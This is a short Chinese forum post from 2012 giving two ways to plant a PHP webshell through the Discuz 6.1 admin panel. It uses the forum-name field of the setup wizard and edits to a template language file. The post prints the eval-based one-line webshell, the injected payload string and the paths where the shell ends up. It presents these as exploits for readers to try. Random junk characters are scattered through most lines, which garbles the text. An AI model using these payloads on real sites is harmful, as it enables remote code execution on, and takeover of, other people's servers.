discuz6.1两种方法后台拿shell" B7 ?6 `6 R$ y( g& o
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下/ h! D' V. ^" x$ X; R1 K$ ^
1:3 \0 w. Q1 I' m+ T2 N5 F$ q
http://127.0.0.1/discuz/admincp. ... zard&frames=yes6 f" A3 H" @5 H5 e
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell3 b3 @2 [# g, e$ ]9 g! W. y. M
<?php eval($_POST[cmd]);?>, o9 [& d+ v8 }, b
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php; _0 e% t& K: Z: p) }/ m! t$ u
& ^0 k* l0 \" N6 P$ `9 L8 A. F" Y9 y( e3 H, `$ m3 G
2:后台模板管理--默认模板套系--详情
2 B( K$ S0 N, z& c1 D8 V# L/ E0 |templates/default/actions.lang.php
- P7 ]0 z0 j) Pjhackj\\');eval($_POST[cmd])?>;//
2 G d6 r- F# \4 I
+ l( A* l" l% T! |; r利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对